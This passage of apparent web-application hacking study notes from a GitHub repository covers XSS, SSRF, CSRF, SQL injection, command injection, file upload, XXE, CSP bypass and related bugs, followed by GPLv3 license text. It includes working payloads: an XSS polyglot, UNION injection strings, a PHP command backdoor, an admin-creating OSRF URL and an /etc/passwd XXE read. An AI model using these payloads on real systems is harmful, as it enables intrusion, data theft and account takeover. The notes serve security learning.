be stored in the back-end database. If the application isn’t blocking XSS attacks whenever someone visits the members list page your username would be retrieved from the back-end database and your XSS payload would trigger. 63 | 64 | 3. DOM XSS: 65 | - Document Object Model (DOM) based XSS occurs when an application takes user supplied input passes it to a JavaScript function and that function uses the input to modify the DOM environment. 66 | -  67 | 68 | 69 | ### XSS Sources [Updated] 70 | - A list of javascript sources can be found in the list below: 71 | - document.URL 72 | - document.documentURI 73 | - document.baseURI 74 | - location 75 | - location.href 76 | - location.search 77 | - location.hash 78 | - Location.pathname 79 | - Document.cookie 80 | ### Polygot [Updated] 81 | - Just pasting the payload ``` ' “”``` and looking for an alert box won't always work. You might have to break out of a set of quotes so your payload would look like ``` ‘ “alert(0)’ ``` or you have to break out of a div tag so your payload may look like ``` “ >” ``` 82 | - Maybe the vulnerability is in an image src attribute so your payload looks like ``` “javascript:alert(0)” ``` or maybe it's a DOM based vulnerability so your payload would just be ``` “alert(0)” ```. 83 | ``` javascript 84 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 85 | ``` 86 | - The example shown above is a famous XSS polyglot by “0xsobky” and it can be used to trigger your xss payload on a multitude of scenarios. 87 | #### Beyond Alertbox [Updated] 88 | - Prompting a Alert box sounds cool, but doesn't shows the full impace of XSS Vulnerability. A lot can be done like: 89 | - Cookie Stealer: Javascript can be used to retrieve a users cookies as shown below: 90 | - Document.cookie 91 | - Redirection: By modifying the ``` “document.location” ``` we can force the browser to navigate to an attackers webpage as shown below : 92 | - Document.location = ” http://attacker-domain.com ” 93 | - Example 94 | ```javascript 95 | 96 | ``` 97 | 98 | 99 | ### 2.3 SSRF 100 | - Server-Side Request Forgery (SSRF) occurs when an attacker forces an application to make HTTP requests on their behalf. 101 | - This can be used to read data from internal applications. Most people leverage this vulnerability to post or read data from sensitive endpoints such as AWS and Gcloud metadata service, FTP service, LDAP service, and local files. 102 | - How to Find? 103 | - search for requests that have a URL as a parameter value 104 | - If the response is reflected back to the attacker you could have a possible SSRF vulnerability. 105 | - then change the URL to google.com and if I see a response then you can assume the endpoint is vulnerable. 106 |  107 | 108 | - The stock API value is changed to admin's dirctory on Local IP. The request will be performed by the target application thus it will perform a request against itself. This endpoint has an admin application hosted on the local host, normally this would be impossible to access from the internet but because of SSRF we can. 109 | 110 | ### 2.4 Cross Site Request Forgery (CSRF) 111 | - CSRF is an attack performed on an applications user that causes their browser to send requests on behalf of the attacker. 112 | - This can be used to change a user’s password and email, like a page or video, send money to an attacker, and anything else you can do via a POST request. 113 | 114 |  115 | - Impact: Suppose an application allows users to change their email by submitting a form. If the application fails to protect against CSRF attacks attackers could force users to change their email to an attacker controlled email. After that the attacker could perform a password reset to change the users password and take over their account. 116 | 117 | 118 | ### 2.5 SQL Injection 119 | - This vulnerability can be exploited to dump the contents of an applications database. 120 | - A nice cheat sheet can be found on payloadallthethings: 121 | - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 122 | 123 |  124 | - If you ever see that error you know there is SQL injection 125 | 126 |  127 | - Basically, you ask the database “do you have 1 column?”, the server will then respond and says yes. You then ask “do you have 2 columns?” and the server responds again with yes. Then you ask “do you have 3 columns?” and the database errors out. So, you know the database table only contains 2 columns. 128 | --> ‘ order by -- 129 | 130 | - After getting to know about number of columns we need to figure out which columns are used to display text on the application. 131 | - We need to know this so we know which column to use when extracting data. 132 | --> select NULL,NULL— 133 | - To do this we can replace each selected column with a string and see if it appears on the page. 134 | --> ' union select NULL,'VULNERABLE'-- 135 | - The first thing we need to retrieve are the table names in the current database. 136 | - We can list every table in the database. 137 | --> ' union select NULL, table_name from database_name.tables— 138 | - The next step is to determine this tables column names. 139 | --> ' union select NULL, column_name from information_schema.columns where table_name = 'Table_Name' — 140 | - The final step is to exfiltrate the data. To return the password and username in the same column we can use the “concat()” function. 141 | --> ' union select NULL, concat(Column_Name,':',Column Name 2>) from Table_Name -- 142 | - However, in the real world if you find a vulnerable endpoint it’s probably best to use a tool like SQLmap as its easier and faster. 143 | - https://github.com/sqlmapproject/sqlmap 144 | ### Error-Based SQLi [Updated] 145 | - With union based sql injection the output is displayed by the application. Error based sql injection is a little different as the output is displayed in an error message. This is useful when there is no output except a sql error. 146 | - If the MySql service version is 5.1 or later we can use the “ extractvalue() ” function to exfiltrate data from the database. 147 | - The ExtractValue() function generates a SQL error when it is unable to parse the XML data passed to it. Remember with error based sql injection we must extract our data via sql error messages. 148 | - 149 | 150 | ### 2.6 Command Injection 151 | 152 | - Attackers can leverage this vulnerable to gain remote code execution (RCE) on their target. 153 | - Depending on the operating system you can use several techniques to execute additional commands thus allowing an attacker to gain RCE. 154 | 155 |  156 |  157 | 158 | - Commnad Injection Example: 159 | 160 |  161 | 162 | - Command Injection - Request & Response 163 | 164 |  165 | 166 | - As you can see, on injecting the “echo hi” command and I received a response. This is a very strong indicator that the application is vulnerable to command injection. However, the vast majority of these bug are blind and you won’t see any output making it harder to detect. 167 | 168 | ### 2.7 Cross Site Web Socket Hijacking (CSWSH) 169 | - Web sockets set up a full duplex communication channel allows use to both read and post data. This vulnerability can be used to perform XSS, SQL injection, RCE, and anything else. 170 | 171 | - WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection. 172 | 173 | - WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection. 174 | 175 |  176 | 177 | - similar to CSRF because we utilize the targets cookies to make requests 178 | - The major difference is instead of sending a POST request we initiate a web socket connection. After the WebSocket connection is established we can do whatever we want. 179 | - How to Check ? 180 | - The first thing you want to do is examine the traffic in burp. Most people only know how to use burp to test HTTP traffic but it can also handle web socket traffic as shown below: 181 |  182 | - We can use the following website to test for the vulnerability: 183 | - http://websocket.org/echo.html 184 | 185 | - I have personally used this vulnerability to exploit quite a few applications. One of the instances allowed me to completely take over users machines as the web socket connection was being used to send shell commands to a remote server. This allowed me to gain remote code execution (RCE). 186 | 187 | ### 2.8 File Upload [Updated] 188 | - As you are aware, web applications sometimes let users upload file files to their site. This can be in the form of a profile picture, pdf upload functionality, or whatever. 189 | - If done improperly attackers can upload malicious files potentially gaining remote code execution(RCE). If there is an upload feature you should be testing for this vulnerability. 190 | - One of the first things I do when testing file upload functionalities is to upload a simple cmd backdoor. 191 | - An Example of PHP Backdoor: 192 | ``` php 193 | "; $cmd = ($_REQUEST['cmd']); 194 | system($cmd); echo ""; die; }?> 195 | ``` 196 | - Content Type Bypass: 197 | - Content type validation is when the server validates the content of the file by checking the MIME type of the file, which can be found in the http request. 198 | -  199 | 200 | - As we can see the above image clearly states the file has a Content-Type of “application/x-php”. 201 | 202 | - If the server trusts the content-type in the HTTP request an attacker could change this value to “image/jpeg” which would pass the validation. 203 | - File Name Bypass 204 | 205 | - Sometimes the server will check the file name to see if it is blacklisted or white listed. 206 | - The issue with black listing is that if you forget even 1 extension attackers can bypass the validation. To implement this check most developers will use a regex to check the file extension. 207 | 208 | ### 2.9 Directory Traversal [Updated] 209 | - It is a vulnerability that occurs when developers improperly use user supplied input to fetch files from the operating system. 210 | - As you may know the “../” characters will traverse back one directory so if this string is used to retrieve files you can retrieve sensitive files by traversing up or down the file structure. 211 | - How to Detect ? 212 | 213 | - If you see an application utilizing user supplied input to fetch files you should immediately test to see if its vulnerable to directory traversal. This can be fairly easy to spot as shown below: 214 | - https://example.com/?page=index.html 215 | - As you can see there is a GET parameter called page which is used to load the contents of “index.html”. If improperly implemented attackers leverage the “../” technique to load any file they want. 216 |  217 | 218 | ### 2.10 Open Redirect [Updated] 219 | - Open redirection vulnerabilities arise when an application 220 | incorporates user-controllable data into the target of a redirection in an unsafe way [According to Google] 221 | - our goal is to make the application redirect to our site. 222 | - You'll have to test the Redirection in Old Fashion: 223 |  224 | - To do this I try to get the site to redirect to Google, if it does then the application is vulnerable. 225 | 226 | ### 2.11 Insecure Direct Object Reference (IDOR) [Updated] 227 | - A vulnerability that occurs when a user is able to view unauthorized data. The issue here is that the developer failed to implement proper access controls when calling resources so users can access other users data. 228 | - easy to find and can have a high impact depending on the context 229 | - spot this vulnerability by looking for a request which contains your user id, username, email, or some other id tied to your user 230 |  231 | - As you can see above there are two requests. One will set a users email and the other will get a users email. The backend application uses the “userId” value supplied by the user when performing these actions without any other verification. So as an attacker we could easily modify and retrieve any user's email on the application. 232 | - 233 | -------------------------------------------------------------------------------- /Notes/Misc.md: -------------------------------------------------------------------------------- 1 | # Miscellaneous 2 | ## 1. On Site Request Forgery (OSRF) 3 | - Similar to cross site request forgery(CSRF) with OSRF an attacker can force a users web browser to make requests on the attackers behalf. 4 | - The only difference is that the request is initiated from the target application whereas CSRF is initiated from an attacker controlled site. 5 | 6 |  7 | 8 | - The whole goal of this vulnerable application is to force the user to send a request to the “/admin/add” endpoint. Doing so will cause the application to add an admin user which the attacker could use to login to the victims application. 9 | - Remember the goal is to make the user browser send a request to “127.0.0.1/admin/add?username=ghost&password=lulz”. This would create a new admin user called “ghost” with the password of “lulz”. 10 | - Take a closer look at the “/” endpoint and how the “vuln_param” is used to create the src attribute of the image tag. What if an attacker were to input “../../”? 11 |  12 | - As you can see above it caused the application to send a GET request to the path“/” instead of “/images”. 13 | 14 | - The above request is a little better, if you look at the bottom right of the image you can see the browser make a request to “/admin/add.jpg”. If we add the username and password parameters we should be able to add an admin account as shown below: 15 |  16 | - Note when sending multiple parameters we must URL encode the “&” character otherwise the browser will think it belongs to the first request not the second. Also notice how the password is “lulz.jpg” and not “lulz”. This is because “.jpg” is appended to the string at the end to get rid of these characters in our password we can just add a dummy parameter as shown below: 17 | - http://127.0.0.1:5000/?vuln_param=../../admin/add?username=ghost%26password=lulz%26dummy_param= 18 | 19 |  20 | 21 | - Finally we are able to make a request to the “/admin/add” endpoint causing the application to add a new user called “ghost” with the password of “lulz”. 22 | 23 | 24 | 25 | ## 2. Prototype Pollution 26 | ### 2.1 What is Prototype ? 27 | - Javascript is a prototype based language. Prototypes are the mechanism by which JavaScript objects inherit features from one another. This means that if the prototype object is modified in one object it will apply to every other object as shown in the below example: 28 | 29 |  30 | - As you can see above we have two variables called “a” and “b”. We modify the prototype object in variable “a” by adding a variable called “foo” and giving it the value of “bar”. 31 | - You might think that this would have no effect on variable “b” but it does. The modified prototype object is inherited by variable “b”, so when we call the “foo” variable on “b” it prints “bar”. 32 | 33 | 34 | ### 2.2 Prototype Pollution? 35 | - As stated earlier javascript is a prototype based language, this means that if we modify the prototype object it will persist to all other objects. Take a look at the following code, the goal here is to set the “admin” variable to true: 36 |  37 | - Here, we are merging user supplied data with the user object. 38 | - Next it will create a variable called admin and it will check if “admin.admin” is set to true. If it is, we win. 39 | - Under normal circumstances this would be impossible as we never get the change to modify this variable but with prototype pollution we can. 40 | - During the merge process if it comes across a prototype object it will add that to the user object. Since the prototype object is inherited by all other objects we can potentially modify other variables as shown in the below curl request. 41 |  42 | - In the above image we are sending a prototype object with a variable called “admin” which is set to “true”. When the line checks to see if admin.admin is set to true it will pass because the admin object inherited the admin variable from the prototype object which we modified. 43 | 44 | Although this is a lesser known vulnerability it is just as deadly as anything else. In the past this has led to XSS, DOS attacks, and RCE so there is no limit to what you can potentially do with this. 45 | 46 | 47 | 48 | ## 3. Client Side Template Injection 49 | ### 3.1 Angular Basics 50 | - Few Things one should understand when dealing with Angular Applications, such as Templates, Expressions, and Scopes - for Client Side Template Injection 51 | - A template is an HTML snippet that tells Angular how to render the component in Angular application. 52 | - The main advantage of templates is that you can pass in data allowing you to dynamically generate HTML code based on the arguments passed to it. An example template can be found below: 53 | - ``` Welcome {{Username}}!``` 54 | - The “{{Username}}” is an expression and changes based on your username. 55 | - Expressions are Javascript like code snippets . Like Javascript expressions Angular expressions can contain literals, operators, and variables as shown below: 56 | - 1+1 57 | - A+b 58 | - User.name 59 | - Items[index] 60 | - Angular expressions are evaluated against the Scope object. Basically what this means is if you try to evaluate “alert(1)” it will fail because the scope does not have an “alert” function (unless you define one). 61 | 62 | ### 3.2 Client Side Template Injection (XSS) 63 | - Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages 64 | - As you know Angular is a client side template framework and you can embed user input into these templates. This makes Angular the perfect target for this type of vulnerability. 65 |  66 | - As you can see we didn’t get an alert box and that's because the server is encoding our input before passing it to the template as shown below. 67 | 68 |  69 | 70 | - In Angular we can use expressions which does not have to use special characters which get encoded by the “htmlspecialchars” PHP function as shown below: 71 |  72 | 73 | - As you can see above I am using the expression “{{1+1}}” which gets evaluated to “2”. This is a very strong indicator that the application is vulnerable to client side template injection. 74 | - Forcing an application to add two numbers together isn’t all that exciting, but what if we could inject javascript code. We know we can't simply insert an “alert(1)” function because that function is not defined in the scope object. 75 | - Behind the scenes “alert(1)” turns into “$scope.alert(1)”. By default the scope object contains another object called “constructor” which contains a function also called “constructor“. This function can be used to dynamically generate and execute code. This is exactly what we need to execute our XSS payload as shown below: 76 |  77 | - As you can see above our malicious Angular expression was injected into the page causing the application to dynamically generate and execute our payload. 78 |  79 | 80 | 81 | 82 | ## 4. XML External Entity (XXE) 83 | 84 | ### 4.1 XML Basics 85 | - Extensible Markup Language(XML) is a language designed to store and transport data similar to JSON. 86 | - Example: 87 | ```xml 88 | 89 | 90 | 91 | Everyday Italian 92 | Giada De Laurentiis 93 | 2005 94 | 30.00 95 | 96 | 97 | Harry Potter 98 | J K. Rowling 99 | 2005 100 | 29.99 101 | 102 | 103 | ``` 104 | 105 | - Pro tip if you ever see this in burp you should immediately test for XXE: 106 | ```xml 107 | 108 | ``` 109 | - There is an Entity, which act as varibale. 110 | 111 | ### 4.2 XML External Entity Attack 112 | - You can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable ? 113 | - Note that in order to read the data the entity must be returned in the response. 114 |  115 | - To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: 116 |  117 | - As You can see, an external entitiy is created to grab the data in the /etc/passed file and stored in the entity xxe. If theserver does not block external entities the response will be reflected to you. 118 |  119 | ## 5. Content Security Policy Bypass 120 | The CSP is a special HTTP header used to mitigate certain types of attacks such as cross site scripting (XSS). 121 | ### 5.1 Basics 122 | - The CSP header is fairly straightforward and there are only a few things you need to understand. First, the CSP header value is made up of directives separated with a semicolon “;” . 123 | - A list of these directives can be found below: 124 | - Default-src: This acts as a catchall for everything else. 125 | - Script-src: Describes where we can load javascript files from 126 | - Style-src: Describes where we can load stylesheets from 127 | - Font-src: Describes where we can load fonts from 128 | - These directives are set to specific values which defines which resources can be loaded and from where 129 | - * : Load resources from anywhere 130 | - ‘none’: Block everything 131 | - ‘Self’: Can only load resources from same origin 132 | - Data: Can only load resources from data schema (Base64) 133 | - Something.example.com: Can only load resources from specified domain 134 | - Https: Can only load resources over HTTPS 135 | - ‘Unsafe-inline’: Allows inline elements (onclick,`````` tags, javascript:,) 136 | - ‘Unsafe-eval’:Allows dynamic code evaluation (eval() function) 137 | - ‘Sha256-‘: Can only load resources if it matches the hash 138 | - ‘Nonce-‘: Allows an inline script or CSS to execute if the script tag contains a nonce attribute matching the nonce specified in the CSP header. 139 | ### 5.2 Basic CSP Bypass 140 | - One of the easiest ways to misconfigure the CSP is to use dangerous values when setting policies. For example suppose you have the following CSP header: 141 | - default-src 'self' * : the default-src policy acts as a catch all policy, (* acts as a Wild Card). So this policy is basically saying allow any resources to be loaded. It's the same thing as not having a CSP header! You should always look out for wildcard permissions. 142 | - script-src 'unsafe-inline' 'unsafe-eval' 'self' data :https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/https://accounts.google.com : Here we have the policy script-src which we know is used to define where we can load javascript files from. Normally things like ``` ``` would be blocked but due to the value ‘unsafe-inline’ this will execute. 143 | 144 | There are few other techniques which can be used to bypass the CSP 145 | 146 | ### 5.3 JSONP CSP Bypass 147 | - JSONP is a way to bypass the same object policy 148 | (SOP). 149 | - A JSONP endpoint lets you insert a javascript payload , normally in a GET parameter called “callback” and the endpoint will then return your payload back to you with the content type of JSON allowing it to bypass the SOP. 150 | - Basically we can use the JSONP endpoint to serve up our javascript payload. 151 | - You can find an example below 152 | - https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 153 |  154 | - The danger comes in when a CSP header has one of these endpoints whitelisted in the script-src policy. This would mean we could load our malicious javascript via the JSONP endpoint bypassing the CSP policy. Look at the following CSP header: 155 | - script-src https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://accounts.google.com ; 156 | - The following would get blocked by the CSP: 157 | - http://something.example.com/?vuln_param=javascript:alert(1) ; 158 | - What if we tried the following: 159 | - http://something.example.com/?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 160 | - This would pass because accounts.google.com is allowed to load javascript files ccording to the CSP header. We then abuse the JSONP feature to load our malicious javascript. 161 | 162 | ### 5.4 CSP Injection Bypass 163 | - The third type of CSP bypass is called CSP injection. This occurs when user supplied input is reflected in the CSP header. 164 | - Suppose you have the following url: 165 | - http://example.com/?vuln=something_vuln_csp 166 | - If your input is reflected in the CSP header you should have something like this: 167 | ``` 168 | script-src something_vuln_csp; 169 | object-src 'none'; 170 | base-uri 'none'; 171 | require-trusted-types-for 'script'; 172 | report-uri https://csp.example.com ; 173 | ``` 174 | - This means we can control what value the script-src value is set to. We can easily bypass the CSP by setting this value to a domain we control. 175 | 176 | 177 | 178 | ## 6. Relative Path Overwrite (RPO) 179 | It is an older lesser known vulnerability, which can be used for XSS or extracting sensitive data but the vast majority of the cases can only be exploited for web 180 | defacement. 181 | - It is an interesting Vulnerability bcoz, only few people know how to exploit this bug. 182 | 183 | ### 6.1 RPO 184 | - First you need to find a page that reflects the current url, path, or referrer header in the response. 185 | - Secondly you need the page to be missing the “DOCTYPE” tag to enable quirks mode. 186 | - Third, you need the endpoint to have a wild card path so “example.com/vuln.php” is the same as “example.com/vuln.php/somthing/”. 187 | - Finally you need to find if there are any style sheets being imported using a relative path. 188 | - If all these requirements are met you can probably exploit the RPO vulnerability. 189 |  190 | 191 | To understand RPO you first thing you need to learn about is how browsers use pathrelative links to load content. 192 | ``` 193 | 194 | ``` 195 | ``` 196 | 197 | ``` 198 | ``` 199 | 200 | ``` 201 | 202 | - As you can see above there are a few ways an application can load the CSS file “style.css”. 203 | - The first example uses an absolute link which is the full path to the CSS file. 204 | - The second example starts at the root of the web directory and looks for the “style.css” file there. 205 | - Finally the last example uses a relative path so it will look at the current directory for the “style.css” file, if the url is “example.com/test/” it will look for the CSS file at “/test/style.css”. 206 | 207 | Quirks Mode : Quirks mode was designed to 208 | gracefully handle the poorly coded websites which was fairly common back in the day. If quirks mode is enabled the browser will ignore the “content-type” of a file when processing it. So if we pass an HTML file to a link tag it will still parse the HTML file as if it's a CSS file. If Quirks mode is disabled the browser would block this action. 209 | 210 | - Examine the Vulnerable Code: 211 | 212 |  213 | 214 | - Look at the above image we can clearly see the “path” variable is concatenated with the output but normally you don't have access to the source so you will need to manually verify this as shown below. 215 |  216 | - Above you can clearly see the “okay/” path displayed on the page. We can also see the “document type” tag is missing from the HTML source so we know the page is running in quirks mode. Next we need to figure out if “/home/okay/” resolves to the same page as “/home” which it does. 217 |  218 | - As shown above when we change the URL to “/home/okay/” the “Link” tag tries to import its stylesheet from “/home/okay.style.css” this is because the Link tag is using a relative path. Also notice how the style sheet resolves to the same HTML source as “/home”. This is because there is a wild card path after “/home” which causes any path after “/home” to resolve to “/home”. 219 | - The last step is to actually launch the exploit to see if it works. Since the Link tag is accepting the HTML output as CSS and user controlled input is reflected in that output an attacker could inject CSS commands causing the page to execute them. 220 | - %0A{}*{color:red;}/// 221 |  222 | - As you can see above we injected CSS code to turn the font red so we now know the target is vulnerable. 223 | 224 | 225 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the 